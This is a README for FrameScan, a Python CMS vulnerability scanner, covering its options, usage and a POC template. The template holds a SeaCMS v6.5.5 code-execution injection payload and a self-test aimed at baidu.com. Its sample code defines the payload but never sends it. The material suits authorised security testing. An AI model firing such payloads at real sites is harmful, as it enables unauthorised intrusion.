工具簡介
GithubL:https://github.com/qianxiao996/FrameScan
FrameScan是一款python3編寫的簡易的cms漏洞檢測框架,支持多種檢測方式,支持大多數CMS,可以自定義CMS類型及自行編寫POC。旨在幫助有安全經驗的安全工程師對已知的應用快速發現漏洞。
支持平臺
-
Windows
-
Linux
-
MAC(請自測)
工具特點
-
單URL批量檢測
-
單URL單漏洞檢測
-
單URL指定CMS檢測
-
多URL單漏洞檢測
-
單URL單漏洞檢測
-
單URL指定CMS檢測
詳細參數如下:
-u Url URL地址 -f Load urls file 文件路徑 -m Use poc module 使用單個POC -c Specify CMS 指定CMS類型 -s Search poc keywords 查找關鍵詞漏洞 -lc List CMS POC 列出指定CMS漏洞 -l List avalible pocs 列出所有POC -r Reload POC 重新加載POC -txt Save Result(txt) 輸出掃描結果(txt) -html Save Result(html) 輸出掃描結果(html) -h Get help 幫助信息
使用方法
下載項目
安裝依賴(不需要!)
腳本主要依賴於以下模塊(無需安裝)
import sys,os,re
from color import *
import sqlite3,requests
運行腳本
>python3 FrameScan.py
_____ ____
| ___| __ __ _ _ __ ___ ___/ ___| ___ __ _ _ __
| |_ | '__/ _` | '_ ` _ \ / _ \___ \ / __/ _` | '_ \
| _|| | | (_| | | | | | | __/___) | (_| (_| | | | |
|_| |_| \__,_|_| |_| |_|\___|____/ \___\__,_|_| |_|
Options: Code by qianxiao996
-----------------------------------------------------
-u Url URL地址
-f Load urls file 文件路徑
-m Use poc module 使用單個POC
-c Specify CMS 指定CMS類型
-s Search poc keywords 查找關鍵詞漏洞
-lc List CMS POC 列出指定CMS漏洞
-l List avalible pocs 列出所有POC
-r Reload POC 重新加載POC
-txt Save Result(txt) 輸出掃描結果(txt)
-html Save Result(html) 輸出掃描結果(html)
-h Get help 幫助信息
-----------------------------------------------------
FrameScan V1.1 Blog:blog.qianxiao996.cn
單URL批量檢測
python3 FrameScan.py -u URL
單URL單漏洞檢測(POC_METHOS可以用 -l、-s、-lc進行查詢)
python3 FrameScan.py -u URL -m POC_METHOS
單URL指定CMS檢測
python3 FrameScan.py -u URL -m POC_METHOS
多URL批量檢測
python3 FrameScan.py -f 文件名
多URL單漏洞檢測
python3 FrameScan.py -f 文件名 -m POC_METHOS
多URL指定CMS檢測
python3 FrameScan.py -f 文件名 -c CMS類型
輸出到TXT或者HTML文件
python3 FrameScan.py -u URL -txt 文件名
python3 FrameScan.py -u URL -html 文件名
自定義POC模板
代碼中採用自定義彩色輸出,請儘量規範編寫。腳本中爲示例代碼。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: 漏洞名稱(禁止換行)控制在30字以內
referer: 漏洞地址(禁止換行)未知請填unknown
author: 作者名
description: 漏洞描述
'''
import sys
import requests
import warnings
def run(url):
#此處編輯檢測代碼
#示例代碼,請更改result內容,result[0]爲漏洞名稱,result[1]爲返回的內容,result[2]爲測試結果
result = ['seacms v6.5.5代碼執行漏洞','','']
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
payload = "searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*"
url_path = url + "/search.php?phpinfo();"
try:
data = requests.get(url_path, timeout=3,headers=headers, verify=False)
if data.status_code == 200 and 'phpinfo' in data.text:
result[2]= "存在"
result[1] = "URL:%s\nPOST:%s"%(url_path,payload)
else:
result[2] = "不存在"
except Exception as e:
# print (e)
result[2] ="不存在"
#這裏可設置未知,連接超時等,只有不存在不會顯示到結果中。
return result
#最後一定要返回一個帶有3個參數的列表。不然會出錯誤。
if __name__ == "__main__":
#此處不會調用
warnings.filterwarnings("ignore")
testVuln = run("http://baidu.com")
print(testVuln)
鳴謝
POC多數來源於 AngelSword:https://github.com/Sch01ar/AngelSword 部分爲自己編寫,歡迎投遞POC
郵箱地址:[email protected]
警告!
請勿用於非法用途!否則自行承擔一切後果